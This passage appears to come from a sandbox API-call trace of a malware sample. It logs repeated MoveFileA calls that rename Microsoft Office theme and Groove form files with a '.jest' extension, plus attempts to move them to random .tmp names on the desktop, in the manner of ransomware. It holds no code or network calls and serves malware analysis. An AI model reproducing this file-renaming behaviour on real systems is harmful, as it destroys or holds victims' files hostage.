m5F4V4DXYgrCIkkizbly1YFrnHMPHvgYa9X_f-m2TVbz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ mz-abntpcq71dbbn9gvc 3nkzkhdw6_mdxb_g4uakg0e-kmbz2pplo- m5f4v4dxygrcikkizbly1yfrnhmphvgya9x_f-m2tvbz.tmp")) returned 0 [0165.438] GetLastError () returned 0x2 [0165.438] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.438] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml.jest")) returned 1 [0165.440] VarBstrFromR4 (in: fltIn=0x4794578c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.09") returned 0x0 [0165.441] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tsI5j yYcZE9B1xvBsDxhp_CH2OkFi3HY0kBDtYCaYxUUQ_mEm1oE4R5K0VQMBkBrf yvFHz50msJfpRocqJZSFPGx m-Dh3jQ-gM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tsi5j yycze9b1xvbsdxhp_ch2okfi3hy0kbdtycayxuuq_mem1oe4r5k0vqmbkbrf yvfhz50msjfprocqjzsfpgx m-dh3jq-gm.tmp")) returned 0 [0165.441] GetLastError () returned 0x2 [0165.441] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.442] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml.jest")) returned 1 [0165.443] VarBstrFromR4 (in: fltIn=0x4794578c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.09") returned 0x0 [0165.444] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\olsVtAieUL4omS1LBBQ5QcN0q- i_ZJgM9-ngja-h3 6CRD9M5eX1ddYzSUvVUdSOFIeGz0OCmjK27Wj6 faOVl3hzFRsCZcI-lUu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\olsvtaieul4oms1lbbq5qcn0q- i_zjgm9-ngja-h3 6crd9m5ex1ddyzsuvvudsofiegz0ocmjk27wj6 faovl3hzfrsczci-luu.tmp")) returned 0 [0165.444] GetLastError () returned 0x2 [0165.444] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.445] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml.jest")) returned 1 [0165.453] VarBstrFromR4 (in: fltIn=0x4794578e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.11") returned 0x0 [0165.455] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pu QG52cLgoQ1TfKA- d PvaOyPPFd4PQm sv9YXoHBf3R8tTV6R2yOYtUwMXGFtJ2OH8eyAPNWl1C0gdwJjMF58AfKHTtNQids63.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pu qg52clgoq1tfka- d pvaoyppfd4pqm sv9yxohbf3r8ttv6r2yoytuwmxgftj2oh8eyapnwl1c0gdwjjmf58afkhttnqids63.tmp")) returned 0 [0165.455] GetLastError () returned 0x2 [0165.455] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.456] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml.jest")) returned 1 [0165.458] VarBstrFromR4 (in: fltIn=0x4794578e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.11") returned 0x0 [0165.459] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UHvWIONWe-c7LwjqO 4BeKIrRuFbqCHOGKEbauGzBNdMOLw5-Zgeu-m0lcwdhDLHQcUBiaVJFmXy2VGkoowJyWQdgWNHZOBUTq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uhvwionwe-c7lwjqo 4bekirrufbqchogkebaugzbndmolw5-zgeu-m0lcwdhdlhqcubiavjfmxy2vgkoowjywqdgwnhzobutq.tmp")) returned 0 [0165.459] GetLastError () returned 0x2 [0165.459] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.459] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml.jest")) returned 1 [0165.461] VarBstrFromR4 (in: fltIn=0x4794578e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.11") returned 0x0 [0165.462] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CMsVxMsW5E1VWeKkZzxICCKEAMZntxub-Gwjn7HSNquGJsDj_mhu_femsJEkxGXjTH6e5XPwpN10xvOmusDyXv7ykFb3Eq7jQbZ2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmsvxmsw5e1vwekkzzxicckeamzntxub-gwjn7hsnqugjsdj_mhu_femsjekxgxjth6e5xpwpn10xvomusdyxv7ykfb3eq7jqbz2.tmp")) returned 0 [0165.462] GetLastError () returned 0x2 [0165.463] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.464] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml.jest")) returned 1 [0165.467] VarBstrFromR4 (in: fltIn=0x47945790, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.13") returned 0x0 [0165.468] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xvQic6_U97dz4-zd 6cKxVcYV8VMZ0XsdTbuw9jOCiMzzP_ 2Kqf3i03u-8qfrF7EctKSemyL-nS2YPL_ p-lptLRodPxyhLWe4v.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xvqic6_u97dz4-zd 6ckxvcyv8vmz0xsdtbuw9jocimzzp_ 2kqf3i03u-8qfrf7ectksemyl-ns2ypl_ p-lptlrodpxyhlwe4v.tmp")) returned 0 [0165.469] GetLastError () returned 0x2 [0165.469] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.471] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml.jest")) returned 1 [0165.473] VarBstrFromR4 (in: fltIn=0x47945790, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.13") returned 0x0 [0165.474] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5vq_MORk8j5kkp5hDgagflFxq__tTVW6J9t9qUlRb0qoIQ_a0R8lDJqSX1xl8hjzwO5TKEY48Fo4PTX5YwC5jB p9AtsXwlwsPyQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5vq_mork8j5kkp5hdgagflfxq__ttvw6j9t9qulrb0qoiq_a0r8ldjqsx1xl8hjzwo5tkey48fo4ptx5ywc5jb p9atsxwlwspyq.tmp")) returned 0 [0165.475] GetLastError () returned 0x2 [0165.475] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.476] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml.jest")) returned 1 [0165.477] VarBstrFromR4 (in: fltIn=0x47945790, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.13") returned 0x0 [0165.478] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TDlGpFHBe-07JP-wwATHY-ulFmDIoqRYqyCYKQkeQaKE6IwwiAl-rD3-oaQ9v08tjVWl3gi-V4A_kqsoFEdgHHFyIJeSs5WDoCmn.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tdlgpfhbe-07jp-wwathy-ulfmdioqryqycykqkeqake6iwwial-rd3-oaq9v08tjvwl3gi-v4a_kqsofedghhfyijess5wdocmn.tmp")) returned 0 [0165.478] GetLastError () returned 0x2 [0165.479] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.479] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg.jest")) returned 1 [0165.482] VarBstrFromR4 (in: fltIn=0x47945792, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.14") returned 0x0 [0165.483] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eQ0dukJ19TtS-zQ_YPyp2mAGw6UlGdMmKRriQattcJR5FOYqnCun2XDxx1g6pLH96egTYI5qUYRqtZzo9Lr5fdjHwkFOJxdz23S97.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eq0dukj19tts-zq_ypyp2magw6ulgdmmkrriqattcjr5foyqncun2xdxx1g6plh96egtyi5quyrqtzzo9lr5fdjhwkfojxdz23s97.tmp")) returned 0 [0165.484] GetLastError () returned 0x2 [0165.486] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.486] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html.jest")) returned 1 [0165.488] VarBstrFromR4 (in: fltIn=0x47945792, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.14") returned 0x0 [0165.489] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iDYEoatq22Lfg-xN3RRRLZnPGuQzN9R pLjM5ytt_MvKor_kenYTpNP mTv7tb9B7Vwb6nLG3YOvANqIjQmA2hAfFortbYgxi_LIj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\idyeoatq22lfg-xn3rrrlznpguqzn9r pljm5ytt_mvkor_kenytpnp mtv7tb9b7vwb6nlg3yovanqijqma2haffortbygxi_lij.tmp")) returned 0 [0165.490] GetLastError () returned 0x2 [0165.490] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.491] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html.jest")) returned 1 [0165.495] VarBstrFromR4 (in: fltIn=0x47945794, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.16") returned 0x0 [0165.496] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m97uf6NYW5ufu22T6PUHtU7bO8CmPr1si3MqzQnOC-SxyEM veLDIs s4zpG 6EKGW6uFFmp06gCtQdpu50JA72-FzJjwIonG5uo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m97uf6nyw5ufu22t6puhtu7bo8cmpr1si3mqzqnoc-sxyem veldis s4zpg 6ekgw6uffmp06gctqdpu50ja72-fzjjwiong5uo.tmp")) returned 0 [0165.496] GetLastError () returned 0x2 [0165.497] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.497] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html.jest")) returned 1 [0165.499] VarBstrFromR4 (in: fltIn=0x47945794, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.16") returned 0x0 [0165.500] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zZTKnbj0ABr16PPpND1-eEKlooV7_DVI9BHSf27NBxKrqVRey_wHhK_ DyiEKOKRLtzFdO0BEA-MRB7nwU8O9WufNd-EOGGTU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zztknbj0abr16pppnd1-eekloov7_dvi9bhsf27nbxkrqvrey_whhk_ dyiekokrltzfdo0bea-mrb7nwu8o9wufnd-eoggtu.tmp")) returned 0 [0165.500] GetLastError () returned 0x2 [0165.500] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.501] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html.jest")) returned 1 [0165.503] VarBstrFromR4 (in: fltIn=0x47945794, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.16") returned 0x0 [0165.504] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\712g8BiHaUs9WyC1dh0wJ_BjqElxfJ gFWGPlTOaVR06K5tc3FAsx95fPduzsLrMS6aSfsVQUBYQn7IuQ_KD8j9WJl_ U xwtDdMK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\712g8bihaus9wyc1dh0wj_bjqelxfj gfwgpltoavr06k5tc3fasx95fpduzslrms6asfsvqubyqn7iuq_kd8j9wjl_ u xwtddmk.tmp")) returned 0 [0165.504] GetLastError () returned 0x2 [0165.504] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.505] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html.jest")) returned 1 [0165.506] VarBstrFromR4 (in: fltIn=0x47945794, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.16") returned 0x0 [0165.507] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bdhslfm4yTwieSKi4bi KJZbODRHZphPW4kRVeyL LbP4GgvLvpL9J6HJldITPuv0SD8qwyNz7u8ofCp3hbCCW98IV3rw-RN_XRp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bdhslfm4ytwieski4bi kjzbodrhzphpw4krveyl lbp4ggvlvpl9j6hjlditpuv0sd8qwynz7u8ofcp3hbccw98iv3rw-rn_xrp.tmp")) returned 0 [0165.507] GetLastError () returned 0x2 [0165.508] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, 